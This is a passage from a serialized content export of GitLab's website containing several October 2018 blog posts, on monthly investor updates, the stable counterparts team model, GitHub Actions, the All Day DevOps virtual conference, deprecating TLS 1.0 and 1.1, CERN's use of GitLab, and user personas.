Companies","en-us/blog/the-case-for-all-remote-companies.yml","en-us/blog/the-case-for-all-remote-companies",{"_path":31688,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31689,"content":31695,"config":31700,"_id":31702,"_type":16,"title":31703,"_source":17,"_file":31704,"_stem":31705,"_extension":20},"/en-us/blog/how-we-keep-investors-in-the-loop",{"title":31690,"description":31691,"ogTitle":31690,"ogDescription":31691,"noIndex":6,"ogImage":31692,"ogUrl":31693,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31693,"schema":31694},"How we keep investors in the loop","Monthly updates to investors and team members ensure transparency and open communication.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678944/Blog/Hero%20Images/investorupdate.jpg","https://about.gitlab.com/blog/how-we-keep-investors-in-the-loop","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we keep investors in the loop\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2018-10-17\",\n      }",{"title":31690,"description":31691,"authors":31696,"heroImage":31692,"date":31697,"body":31698,"category":6634,"tags":31699},[20767],"2018-10-17","\nI was a bright-eyed and bushy-tailed new GitLab team-member of two months when I emailed\n[Sid](/company/team/#sytses), the CEO of GitLab, and told him that I thought the investor\nupdate format needed a makeover. During my onboarding, I had heard that\n[**everyone can contribute**](/company/strategy/#why), so I decided to take the idea\nfor a test drive.\n\n![My message to Sid.](https://about.gitlab.com/images/blogimages/suriemail.png){: .shadow}\n\nI obsessively refreshed my inbox, waiting to see whether the sentiment was highly\nregarded only in theory, when Sid’s reply arrived.\n\n![Sid’s response.](https://about.gitlab.com/images/blogimages/sidemail.png){: .shadow}\n\n_Challenge accepted, Sijbrandij._ 😎\n\n## Updating the template\n\nOur investor update has gone through several iterations over the years. In the\nearly days, we included sections on hiring, feedback, and upcoming features.\nAfter reading blog posts by\n[Elad Gil](http://blog.eladgil.com/2015/05/investor-update-emails.html) and\n[Aaron K. Harris](http://www.aaronkharris.com/investor-updates), Sid developed\nour current version with their insights in mind and narrowed the scope of our\nupdate to the following sections: thanks, asks, key metrics, lowlights,\nhighlights, and next month expectations.\n\nWhen I joined GitLab, the investor update looked cluttered, and from a reader’s\nperspective, I had difficulty absorbing the information. Below is an example of\nan old update with the former template. Please note that some names have been\nchanged to respect organizations’ privacy.\n\n![Former investor update template.](https://about.gitlab.com/images/blogimages/oldtemplatev3.png){: .shadow}\n\nKnowing that investors can only dedicate a few minutes to each email, I knew that\nI had to organize the sections and copy in a way that would increase comprehension\nand reading speed, so I employed UX copy techniques.\n\n![New investor update template.](https://about.gitlab.com/images/blogimages/originaltemplate.png){: .shadow}\n\nWith this new format, investors can quickly read the update and locate the\ninformation that is most relevant to them.\n\n### Why these categories are important\n\nEach of the seven sections provides investors with a look inside GitLab, offering\na comprehensive assessment of our monthly performance.\n\n1. **CEO foreword**: A brief introduction that will typically coincide with the close of a fiscal quarter. This narrative will provide a high level overview of company operations from the most recently ended quarter as well as key initiatives and expectations for upcoming quarters. \n1. **Thanks**: We express gratitude for investors who have assisted us with\nmaking introductions, providing feedback, or offering assistance. Investing is a\ntype of social engagement, and we like to celebrate people who set aside time to\nhelp us.\n1. **Asks**: We ask our investors to help us connect with people or\norganizations, introduce us to hiring candidates, or provide some other assistance.\nInvestors can be extremely helpful and often say they want to add\nvalue when they invest, so this area of the update gives them the opportunity to\ndrive our business forward.\n1. **Key metrics**: People want to know how their investment is performing.\nOffering figures instills trust and shows a certain discipline and rigor. We\nwant our investors to know how we’re doing - even when we don’t meet our goals -\nbecause we believe in [transparency](https://handbook.gitlab.com/handbook/values/#transparency).\n1. **Lowlights**: Our commitment to open communication extends to this\nsection in which we always list the top three worst things that occurred in the\nmonth. By committing to three items, the question is no longer, “_Should_ I tell\nmy investors?” It’s “_Which_ three things are the most severe?” That's a\nmuch easier question to answer.\n1. **Highlights**: This section gets people excited about the investment and\nillustrates what we’re doing well.\n1. **Expectations**: We discuss what we’re looking forward to, conferences we’re\nattending, and what we’re planning in the next month.\n\n### Have a fixed number of good and bad things\n\nEvery month we send three lowlights and three highlights.\nThis forces us to always tell the three things that are worst.\nWe never have to wonder if something is important enough to include it.\nBy the severity of the items people can tell if it was a good or bad month.\n\n## Every company should send monthly updates\n\nIf you’re not sending investor updates, you’re keeping your biggest proponents\nin the dark. If people invested in your organization, you should keep them up to\ndate on what's happening with their investment. If investors don’t receive regular\ncommunication, they’re forced to go fishing for information and what they might\nhear could be inaccurate.\n\nMonthly updates instill confidence and save you from having to\nfield questions from several directions. When organizations don’t communicate,\ninvestors constantly have to ping their companies to ask how things are going.\nBut, if they receive regular updates, they know they're going to hear from you\nand learn the most challenging things that happened in the previous month. You\ndon’t want to give your investors any reason to worry.\n\nMonthly updates also help you build stronger bonds with investors. Because the\nbasics of an investment are covered each month, conversations with investors\ncan focus on deeper subjects. You can brainstorm about strategy, long-term\ngoals, and emerging trends rather than recap hiring challenges and share\nrelease updates.\n\n## Investors \u003C3 information\n\nInvestors have told us how much they love our updates, specifically expressing\ntheir appreciation of the reliability of our emails. We send the updates around\nthe 10th (give or take 1-3 days) of every month, so investors have come to\nexpect a little GitLab sunshine in their inbox.\n\nInvestors love the format(!) and [Y Combinator](http://www.ycombinator.com/)\nreached out to Sid asking whether the format could be shared with other YC\nfounders in a resource of high quality updates. As Sid says, “The format seems\nto be better than average.”\n\n>“I want to thank you and also commend you for having such\nconsistent, regular, excellent shareholder communications. It’s rare\nto see, and I think it elevates your company and it’s something that\nonly grows in importance as the company scales.” — GitLab investor\n\n## Now it’s your turn\n\nIf you’d like to send your investors a monthly update, we invite you to\n[create a copy](https://docs.google.com/document/d/1TVpESZlemYWLrXQHeDvnASCFvs_tvjpJnLahEFMIxYE/copy)\nof our template. As you work on your update, please remember that it’s important\nto establish a regular cadence and keep the emails concise. Links to spreadsheets\nwith detailed figures and an offer to answer any questions prevents people from\nbecoming overwhelmed.\n\nOur updates are also sent to team members, because we all have stock options and\nSid believes that it’s the company’s duty to inform us of our investment.\nMoreover, team members should know the highlights, lowlights, and next month's\nexpectations, since we’re all working towards a [common goal](/company/strategy/#sequence).\nWe encourage you to send the updates to your team since they invest their talents,\nideas, and efforts into making your organization successful.\n\nUPDATE: To see what we currently do, see our [Investor Relations page on our Monthly Investor Updates](/handbook/finance/investor-relations/#monthly-investor-update-email).\n",[10921,676],{"slug":31701,"featured":6,"template":678},"how-we-keep-investors-in-the-loop","content:en-us:blog:how-we-keep-investors-in-the-loop.yml","How We Keep Investors In The Loop","en-us/blog/how-we-keep-investors-in-the-loop.yml","en-us/blog/how-we-keep-investors-in-the-loop",{"_path":31707,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31708,"content":31714,"config":31719,"_id":31721,"_type":16,"title":31722,"_source":17,"_file":31723,"_stem":31724,"_extension":20},"/en-us/blog/an-ode-to-stable-counterparts",{"title":31709,"description":31710,"ogTitle":31709,"ogDescription":31710,"noIndex":6,"ogImage":31711,"ogUrl":31712,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31712,"schema":31713},"An ode to stable counterparts","Our workflow model streamlines decision making, cultivates trust, and promotes cross-functional collaboration.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679002/Blog/Hero%20Images/stablecounterparts.jpg","https://about.gitlab.com/blog/an-ode-to-stable-counterparts","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"An ode to stable counterparts\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2018-10-16\",\n      }",{"title":31709,"description":31710,"authors":31715,"heroImage":31711,"date":31716,"body":31717,"category":8943,"tags":31718},[20767],"2018-10-16","\n_They said [this model](/handbook/leadership/#stable-counterparts) would help us thrive._\n_To foster trust, familiarity, and drive,_\u003Cbr/>\n_We would work side-by-side, knitting our workflows_\u003Cbr/>\n_And supporting one another in our highs and lows._\u003Cbr/>\n\n_Before we embarked on our journey, I fretted and fussed._\u003Cbr/>\n_With a furrowed brow, I felt a careful trust_\u003Cbr/>\n_In my leadership who often discussed_\u003Cbr/>\n_The need to readjust lest we combust._\u003Cbr/>\n\n_We shipped and scaled and detailed_\u003Cbr/>\n_Our results._\u003Cbr/>\n_Seamlessly soaring towards Two and Twenty,_\u003Cbr/>\n_Our managers said, “In their progress, that_\u003Cbr/>\n_team exults.”_\u003Cbr/>\n_We collaborate, update, and accelerate with flair._\u003Cbr/>\n\n_And now I must declare:_\u003Cbr/>\n_I have drawn the ace of hearts_\u003Cbr/>\n_With my team of stable counterparts!_\u003Cbr/>\n\nAt GitLab, we adopted a stable counterparts model to facilitate cross-functional\nconnections in the hope that working with the same people would increase the\nspeed of communication, build trust, and encourage iteration. In a stable\ncounterparts model, every team works with the\n[same team members](/handbook/engineering/development/dev/create/source-code-be/#stable-counterparts),\nincluding frontend engineers, UX designers, and test automation engineers, for\neach release, creating a smaller team within GitLab.\n\n## The benefits of stable counterparts\n\nThe ability to build long-term relationships is the foundational benefit of\nhaving stable counterparts. Repeated interactions helps us understand personal\nworkflows and communication styles, so we know how to most effectively work with\nour counterparts. Knowing how to best communicate with someone is a great benefit\nwhen working in high pressure situations or resolving conflict. Consistent\ncollaboration means faster results and more efficient processes.\n\nIn addition to building long-term relationships, we’ve noticed a few other\ninteresting benefits to having stable counterparts.\n\n- **Enabling a faster workflow**: There are some product areas that are easy to\nunderstand because every team member engages with them, but there are some that\nare challenging, such as [CI](https://docs.gitlab.com/ee/ci/),\n[security](https://docs.gitlab.com/ee/user/project/merge_requests/#security-reports),\nor [Kubernetes](https://docs.gitlab.com/ee/user/project/clusters/index.html),\nthat require domain knowledge that can be harder for a team member to quickly\nfathom without a certain amount of pre-knowledge. When a stable counterpart has\ndeveloped deeper understanding in complex areas, others know who to quickly\nconsult when confronted with a specific technical challenge, an insight that\ndrives velocity since team members are no longer blocked trying to determine who\ncan offer assistance.\n- **Promoting long-term brainstorming**: In traditional workflow models, product\nmanagers often have individual meetings with engineering managers, UX designers,\nand frontend managers in which brainstorming through ideas and talking about\nlong-term goals happens in silos. With stable counterparts, discussion benefits\nfrom cross-functional perspective, enhancing ideas, and igniting creativity,\nwhich can take place over several milestones.\n- **Increasing familiarity and comfort with problems**: Working with a rotating\nset of team members can result in a lack of comprehensive historical knowledge\non an issue, causing delays while team members digest information and become\nacquainted with the state of a solution. By working with the same people over\nseveral releases, we’re able to provide context early and implement learnings\nto solve problems in the right way.\n\n## Let’s talk about workflow impact\n\nWorking with stable counterparts has helped the team develop a faster and more\niterative workflow. We’re more focused in that we can pick up on discussions and\nitems that we tinkered with in previous releases. We now approach problems with\na deeper understanding, since we have long-term insight into why changes are\nimportant. Taking context from release to release and retaining that knowledge\nensures that we develop thoughtful solutions, especially since we feel a higher\nsense of ownership of projects because we’ve been involved throughout every stage.\n\nThis model has also resulted in better dependency management. We spend a lot of\ntime doing upfront investment into project planning and prioritization, so teams\nhave visibility into collaboration with backend and frontend. This makes it\neasier to see whether we need more backend or frontend resources in certain areas\nand to allocate engineers as needed.\n\n## Sounds great, but what are the drawbacks?\n\nThis model could lead to engineers feeling like they’re feature factories, so\nleadership must actively work to keep their team on an edge so that there’s a\nhealthy balance between product features and other tasks that are more complex\nor exciting.\n\nWhen working with stable counterparts, there’s a potential for conflict and\npersonality issues. If personal communication styles or workflows don’t align,\ninteractions can become tense and handoffs can be fraught with friction. When\npairing stable counterparts, leadership should consider personalities,\ncommunication styles, and workflows to ensure that a team, at baseline, can work\nwell together.\n\nWorking with the same people for too long means that we’re not exposed to a\nbroader audience and may not have fresh ideas come into conversations. It’s\npossible that teams become comfortable with the way things are and ideas are no\nlonger questioned. We haven’t encountered this problem at GitLab yet, since we’re\n[growing](/jobs/) so quickly that every team frequently has a change or new addition,\nwhich is accompanied by a variety of new questions and unique feedback. For\nteams that don’t have as much growth, it can be useful to invite other team\nmembers to provide perspective and question long-held beliefs.\n\n## Advice for other teams\n\nIf your team is interested in adopting a similar model, we suggest starting\nsmall and breaking teams into smaller components. For teams that are unaccustomed\nto an interdisciplinary model with agile teams, it can be a difficult adjustment,\nso it’s important that teams are structured around either a specific initiative\nor area of the product. To determine whether this is a model that could benefit\nyour organization, consider selecting a problem and pairing the same 4-5 team\nmembers, including a product manager, a UX designer, and a few engineers, for\nseveral releases until the problem is solved. Working together for several\nreleases helps team members nurture a strong, stable relationship, so it’s\nimportant that they’re given enough time to learn about and from each other.\n\nAlthough stable counterparts has worked well for GitLab’s workflow, it’s\nimportant to be sure that this is the model that fits _your_ company’s needs.\nDeveloping a workflow depends on strategy, targets, and the maturity level of an\norganization. These are all variables that need to be considered when building\nor changing a process. This setup wouldn’t have worked for GitLab 12 months ago,\nbut it works now, so continue to experiment and examine options as your team and\norganization develop. Whether you pursue a stable counterparts model or some other\nsetup, remember to select an approach that complements your organization and the\nproduct you’re building.\n\n_The writer is grateful to [Jeremy Watson](/company/team/#d3arWatson),\n[Liam McAndrew](/company/team/#lmcandrew), [John Jeremiah](/company/team/#j_jeremiah), and\n[Tim Zallman](/company/team/#tpmtim) for sharing their experiences as stable counterparts._\n",[1444,676,2368],{"slug":31720,"featured":6,"template":678},"an-ode-to-stable-counterparts","content:en-us:blog:an-ode-to-stable-counterparts.yml","An Ode To Stable Counterparts","en-us/blog/an-ode-to-stable-counterparts.yml","en-us/blog/an-ode-to-stable-counterparts",{"_path":31726,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31727,"content":31733,"config":31737,"_id":31739,"_type":16,"title":31740,"_source":17,"_file":31741,"_stem":31742,"_extension":20},"/en-us/blog/github-launch-continuous-integration",{"title":31728,"description":31729,"ogTitle":31728,"ogDescription":31729,"noIndex":6,"ogImage":31730,"ogUrl":31731,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31731,"schema":31732},"GitHub Actions affirms all-in-one is eating the marketplace model","GitHub announces GitHub Actions, a continuous integration tool, affirming the need for single application for the entire DevOps lifecycle.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678806/Blog/Hero%20Images/single-application.png","https://about.gitlab.com/blog/github-launch-continuous-integration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitHub Actions affirms all-in-one is eating the marketplace model\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2018-10-16\",\n      }",{"title":31728,"description":31729,"authors":31734,"heroImage":31730,"date":31716,"body":31735,"category":299,"tags":31736},[3532],"\nGitHub announced the launch of their continuous integration tool, [GitHub Actions](https://blog.github.com/2018-10-16-future-of-software/), entering into competition with 14 of its [continuous integration marketplace vendors](https://github.com/marketplace/category/continuous-integration), including Travis CI, CircleCI, and CodeShip. This isn’t the first time we’ve seen GitHub compete against a popular area of its marketplace; they also competed against marketplace vendors in the [project management](https://github.com/marketplace/category/project-management) (Waffle.io vs. issue boards) and [dependency scanning](https://github.com/marketplace/category/dependency-management) categories (Snyk).\n\nWhy compete with vendors within their own marketplace? Similar to [Amazon’s private brands](https://www.businessinsider.com/amazon-owns-these-brands-list-2018-7), which compete in categories with well-established leaders on its own platform, all-in-one is eating the marketplace model, and GitHub is ready to eat its own marketplace to stay competitive.\n\nToday’s increasingly complex technology landscape demands a simplified and seamless all-in-one solution – and built-in [continuous integration](/solutions/continuous-integration/) is a logical first step. We know this because when we decided to build a [single application for the entire DevOps lifecycle](/why/), integrated pipelines were the critical first step to helping development teams build, test, deploy, and monitor their code. Companies like [Ticketmaster](/blog/continuous-integration-ticketmaster/) and [Paessler AG](/customers/paessler/) have shown us that when teams are working within a seamlessly integrated application experience, cycle times are reduced by as much as 200%, and the speed of pipelines can be reduced from over two hours to within eight minutes.\n\nWhile there will undoubtedly be space for some successful point solutions, we’re seeing a turning point from disparately integrated toolchains to all-in-one solutions in the tech tools landscape.\n\n## Need for speed and simplicity\n\nSoftware development and delivery is getting more complicated, requiring more tools per team and project. The advent of Kubernetes has brought a desire for DevOps and with it an avalanche of highly focused, sharp tools. The proliferation of teams and tools makes toolchain maintenance unmanageable and cumbersome, slowing down cycle times and inhibiting collaboration at a time when speed to market is critical to business success. Chaining together tools comes at too great of a cost. The explosion of microservices has exacerbated the issue. As more development teams embrace cloud native, building and running application in containers, the number of projects multiples and changes need to be made frequently. Disparate toolchains were not built to handle this level of integration complexity.\n\nA single application removes this complexity, providing a single setup, datastore, flow, and interface where teams can work collaboratively and concurrently. It enables [Concurrent DevOps](/topics/concurrent-devops/), removing the need for sequential handoffs, allowing cross-functional collaboration at speed. Developers, engineers, product managers, and security experts can all work on their piece without slowing each other down, allowing better visibility into work in flight, and the opportunity to shift left contributions from various teams.\n\nEliminating context switching, automated links between environments, code, issues, and epics, real-time updates, and everything in context are just a few reasons the all-in-one model beats out the toolchain. For a complete list, see our [advantages of a single application](/handbook/product/single-application/) page.\n\n## GitLab is a complete DevOps platform, delivered as a single application\n\nWe shipped [GitLab CI/CD](/solutions/continuous-integration/) in 2016, and completed our Master Plan to ship the entire software development lifecycle by the end of 2016. For the past two years, we’ve been continuously improving our single application, and we’re now working on packaging, monitoring, Kubernetes, and even [serverless](/topics/serverless/).\n\nWe’ve made a couple of [acquisitions](/handbook/acquisitions/) to integrate great point-solutions into our single application. It’s our prediction that we will see more acquisitions, big and small, across the technology landscape as the demand for an all-in-one solution grows.\n",[736,4103,1384],{"slug":31738,"featured":6,"template":678},"github-launch-continuous-integration","content:en-us:blog:github-launch-continuous-integration.yml","Github Launch Continuous Integration","en-us/blog/github-launch-continuous-integration.yml","en-us/blog/github-launch-continuous-integration",{"_path":31744,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31745,"content":31751,"config":31755,"_id":31757,"_type":16,"title":31758,"_source":17,"_file":31759,"_stem":31760,"_extension":20},"/en-us/blog/going-virtual-with-all-day-devops",{"title":31746,"description":31747,"ogTitle":31746,"ogDescription":31747,"noIndex":6,"ogImage":31748,"ogUrl":31749,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31749,"schema":31750},"Going virtual with All Day DevOps","The real value of virtual conferences.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671730/Blog/Hero%20Images/meeting_image.jpg","https://about.gitlab.com/blog/going-virtual-with-all-day-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Going virtual with All Day DevOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily Kyle\"}],\n        \"datePublished\": \"2018-10-16\",\n      }",{"title":31746,"description":31747,"authors":31752,"heroImage":31748,"date":31716,"body":31753,"category":8943,"tags":31754},[27374],"\n\nIn my role, I am very fortunate to get the opportunity to attend many events throughout the year. Every conference is another opportunity to learn from thought leaders and others in the industry. The real value in these events is the knowledge share that takes place, yet I find myself frustrated every time. I try to be a sponge absorbing all the information to share all the learnings with my team, but inevitably things get lost as more time passes and we all get back to our day-to-day.  \n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://player.vimeo.com/video/290793305\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nLuckily, All Day DevOps is different. It’s the largest DevOps conference of the year, and it’s 100% free and virtual. Anyone, from anywhere around the world, can register and tune in for 24 hours on October 17. In fact, about 200 people from our company have already registered. As a fully remote company, fully virtual events are particularly important to our team as they level the information playing field and allow everyone on our team in all 40 countries to participate and gain value.\n\nThose attending will be able to listen in on over 100 sessions from some of the industry’s brightest minds, and then ask them anything in Q&As on Slack. The other nice thing: zero vendor pitches are allowed -- a mainstay of the All Day DevOps community.\n\nThis year’s conference will feature 5 tracks this year: CI/CD, DevSecOps, Cloud Native Infrastructure, SRE, and Cultural Transformations.\n\n[Speaker](https://www.alldaydevops.com/addo-speakers) highlights include talks by:\n\n* Cindy Healy, her code sits on another planet inside the Mars Pathfinder\n* David Rensin, founder of Customer Reliability Engineering (CRE) at Google\n* George Swan, Director of Engineering Solutions at Autodesk\n* Priyanka Sharma, Director of Cloud Native Alliances at GitLab\n\nAfter you [register](https://www.alldaydevops.com/register) yourself, encourage your entire department to register.  After all, DevOps done right is a team sport.\n",[4103,277],{"slug":31756,"featured":6,"template":678},"going-virtual-with-all-day-devops","content:en-us:blog:going-virtual-with-all-day-devops.yml","Going Virtual With All Day Devops","en-us/blog/going-virtual-with-all-day-devops.yml","en-us/blog/going-virtual-with-all-day-devops",{"_path":31762,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31763,"content":31768,"config":31773,"_id":31775,"_type":16,"title":31776,"_source":17,"_file":31777,"_stem":31778,"_extension":20},"/en-us/blog/gitlab-to-deprecate-older-tls",{"title":31764,"description":31765,"ogTitle":31764,"ogDescription":31765,"noIndex":6,"ogImage":17364,"ogUrl":31766,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31766,"schema":31767},"GitLab to deprecate support for TLS 1.0 and TLS 1.1 by end of 2018","Support for TLS 1.0 and 1.1 will be disabled on December 15th, 2018","https://about.gitlab.com/blog/gitlab-to-deprecate-older-tls","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab to deprecate support for TLS 1.0 and TLS 1.1 by end of 2018\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Melissa Farber\"}],\n        \"datePublished\": \"2018-10-15\",\n      }",{"title":31764,"description":31765,"authors":31769,"heroImage":17364,"date":31770,"body":31771,"category":299,"tags":31772},[31141],"2018-10-15","\n\nWe are focused on improving our security posture at GitLab and are always working to evolve our security processes. Part of that evolution is the incorporation of stronger cryptographic standards into our environment, and the deprecation of those that have been rendered out-dated or proven to be prone-to-attacks. In an effort to continue to raise that bar, we are announcing our plan to discontinue support for Transport Layer Security (TLS) 1.0 and 1.1 on GitLab.com and in our GitLab API by December 15, 2018. To that end, we have published this [public issue](https://gitlab.com/gitlab-com/security/issues/202) that will be used to track progress of this initiative and provide updates to the GitLab community.\n\nCurrently, GitLab.com supports TLS 1.0 and TLS 1.1. There have been many serious security issues reported with TLS 1.0 and TLS 1.1, including but not limited to [Heartbleed](http://heartbleed.com/).\n\nIn addition, from a security compliance standpoint, the Payment Card Industry (PCI) DSS 3.1 standard mandates the migration away from these weaker cryptographic standards. This mandate is to exclude Secure Sockets Layer (SSL) 3.0, TLS 1.0, and some ciphers supported by TLS 1.1 from protocols supporting strong cryptography.\nOur intent in making this announcement and creating the [public issue](https://gitlab.com/gitlab-com/security/issues/202) is to minimize any potential operational disruptions to GitLab.com customers while deprecating TLS 1.0 and TLS 1.1. This post is the first of three that we will publish during this interim period prior to disabling support for TLS 1.0 and 1.1 on December 15th, 2018.\nAs always, we will continue to monitor TLS 1.0 and 1.1 vulnerabilities and will adapt our timeline as required to mitigate protocol-level issues if they arise.  In addition to the monthly blog posts on the status of this initiative, updates to timelines will be posted to our Twitter feed and tracked in [public issues](https://gitlab.com/gitlab-com/security/issues/202). Additionally, GitLab.com users who have opted to receive [security alert emails](/company/preference-center/) from GitLab will receive status updates regarding the this deprecation process.\n\nIf you have any questions, please reach out to the Security team by emailing security@gitlab.com\n\n## Identified client incompatibilities\n\nThe majority of traffic should be unaffected by the deprecation of support for versions 1.0 and 1.1. Currently, the nof requests to GitLab.com are using up-to-date clients with support for TLS1.2. Whereas there are a few remaining clients that we believe will be affected (see below) most of these can be updated to work with TLS 1.2.\n\n### Git-Credential-Manager-for-Windows prior to 1.14.0\nVersions prior to 1.14.0 of Git-Credential-Manager-for-Windows do not support TLSv1.2. This can be addressed by updating to v1.14.0.    \n\n### Git on Red Hat 5, \u003C 6.8, and \u003C 7.2\nUsers running Red Hat 5 are advised to upgrade to a newer version of the operating system as Red Hat does not have a point release planned for 5 that supports TLS 1.2. Git clients shipped with Red Hat 6 and 7 did not support TLSv1.2, which can be remediated by updating to versions 6.8 and 7.2 respectively.\n\n### JGit / Java releases \u003C JDK 8\nVersions of the JDK 6 and prior do not support TLSv1.2. We advise users of JDK \u003C= 6 to upgrade to a newer version of the JDK.\n\n### Visual Studio\nThe latest version of Visual Studio 2017 supports TLSv1.2. Users not running the latest version are advised to upgrade.",[674],{"slug":31774,"featured":6,"template":678},"gitlab-to-deprecate-older-tls","content:en-us:blog:gitlab-to-deprecate-older-tls.yml","Gitlab To Deprecate Older Tls","en-us/blog/gitlab-to-deprecate-older-tls.yml","en-us/blog/gitlab-to-deprecate-older-tls",{"_path":31780,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31781,"content":31787,"config":31792,"_id":31794,"_type":16,"title":31795,"_source":17,"_file":31796,"_stem":31797,"_extension":20},"/en-us/blog/cern-connect-global-researchers",{"title":31782,"description":31783,"ogTitle":31782,"ogDescription":31783,"noIndex":6,"ogImage":31784,"ogUrl":31785,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31785,"schema":31786},"CERN uses GitLab to remove the obstacles around global researchers","Learn how GitLab helps particle physics laboratory CERN manage over 7,000 projects globally","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670719/Blog/Hero%20Images/cern.jpg","https://about.gitlab.com/blog/cern-connect-global-researchers","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"CERN uses GitLab to remove the obstacles around global researchers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kim Lock\"}],\n        \"datePublished\": \"2018-10-12\",\n      }",{"title":31782,"description":31783,"authors":31788,"heroImage":31784,"date":31789,"body":31790,"category":8943,"tags":31791},[30626],"2018-10-12","\n\nCERN is the European Organization for Nuclear Research. Using highly sophisticated\ninstruments, the organization’s physicists and engineers study the fundamental particles\nthat are the building blocks of the universe. This organization was looking for a way to\novercome the challenges associated with managing thousands of projects with numerous contributors\nlocated all around the world.\n\nTo assist with these challenges, the [CERN IT department searched for a streamlined solution](https://about.gitlab.com/customers/cern/) for\ncode review. In addition to having the capacity to get a large number of projects and users up and\nrunning quickly, they were also looking for their selection to be easy for those users who are less\nexperienced with Git. GitLab met their requirements and they began utilizing these features.\n\nCERN chose to make the move to GitLab for their code hosting needs approximately three years ago. CERN\nhas long been a strong advocate for open source software, and solutions enabling data sovereignty. GitLab’s\nopen core, self-managed model was attractive to the organization because of these desires.\n\n### Today CERN has more than 12,000 users using GitLab and runs 120,000 CI jobs per month\n\n“It’s clearly a powerful tool to do our operations, code collaboration and record discussions on our\ndevelopment and deployment process. We can do more because we can handle more complex projects. As an\nindividual, I’m able to be involved with several large projects because I can rely on GitLab, and the\nother development tools that we have deployed around GitLab, to keep track of things. This is my perception\nas a GitLab user for three years: it’s not that I can do new things, but I can do more because of the\nefficiency of the tool,” said Alex Lossent, Version Control Systems Service Manager, CERN IT department\n\nThe team at CERN's IT department recently sat down with us to share the details of how GitLab is helping\nthem bridge the gaps of working and communicating in a global workspace. “We have this main analysis code on\nGitLab with millions of lines of code. Each team of physicists also has their own repositories with their\nspecific data analysis. And the on-premise nature of GitLab is really useful because we can access other CERN\nservices, data storage and other information that we wouldn’t have on GitHub,” Lukas Heinrich, a partner\nphysicist currently studying at New York University, explained.\n\nYou can learn more about CERN's story and how they are using GitLab in this case stuy [Particle physics laboratory uses GitLab to connect researchers from across the globe](https://about.gitlab.com/customers/cern/)\n",[4772,1207,2368,3798],{"slug":31793,"featured":6,"template":678},"cern-connect-global-researchers","content:en-us:blog:cern-connect-global-researchers.yml","Cern Connect Global Researchers","en-us/blog/cern-connect-global-researchers.yml","en-us/blog/cern-connect-global-researchers",{"_path":31799,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31800,"content":31806,"config":31810,"_id":31812,"_type":16,"title":31813,"_source":17,"_file":31814,"_stem":31815,"_extension":20},"/en-us/blog/personas-and-empathy-building",{"title":31801,"description":31802,"ogTitle":31801,"ogDescription":31802,"noIndex":6,"ogImage":31803,"ogUrl":31804,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31804,"schema":31805},"How we use personas to build empathy for different types of users","Welcome to our series on the new GitLab personas!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678789/Blog/Hero%20Images/how-we-use-personas-to-gain-empathy.jpg","https://about.gitlab.com/blog/personas-and-empathy-building","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we use personas to build empathy for different types of users\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Katherine Okpara\"}],\n        \"datePublished\": \"2018-10-12\",\n      }",{"title":31801,"description":31802,"authors":31807,"heroImage":31803,"date":31789,"body":31808,"category":734,"tags":31809},[28270],"\nLast year we discussed our motivations for using personas at GitLab, including [why they're important](/blog/the-importance-of-ux-personas/) and how to [create them through UX research](/blog/discovering-gitlabs-personas/). Since then, our teams have had many conversations about improving the design of our product and continuing to empathize with our users. As a result, we created an initiative to fully incorporate personas into our design process. This will help everyone learn more about the different people who use GitLab!\n\n#### What’s New\nWe’ve made several changes in format since the first iteration of personas:\n\n- Gender-neutral name: humanizing the persona while still ensuring that it is inclusive\n- Job description: helping your audience learn about what the user does and who they work with\n- “Jobs-to-be-done” (JTBD) framework: making the information more concise and easier to digest\n- Alternative job titles: understanding how the research findings apply to other user groups with similar needs and challenges\n\nTypically, the most insightful personas are a realistic representation of user needs. They help you understand who you’re designing for and allow other people in all departments of your company to hear directly from users. In this series, we’ll share findings from our recent round of research and highlight what we’ve learned about each role.\n\n#### Want to learn more?\nYou can now view the personas [in our handbook](/handbook/product/personas/). Here's a quick summary of what's inside:\n* [Parker, Product Manager](/handbook/product/personas/#parker-product-manager)\n* [Delaney, Development Team Lead](/handbook/product/personas/#delaney-development-team-lead)\n* [Devon, DevOps 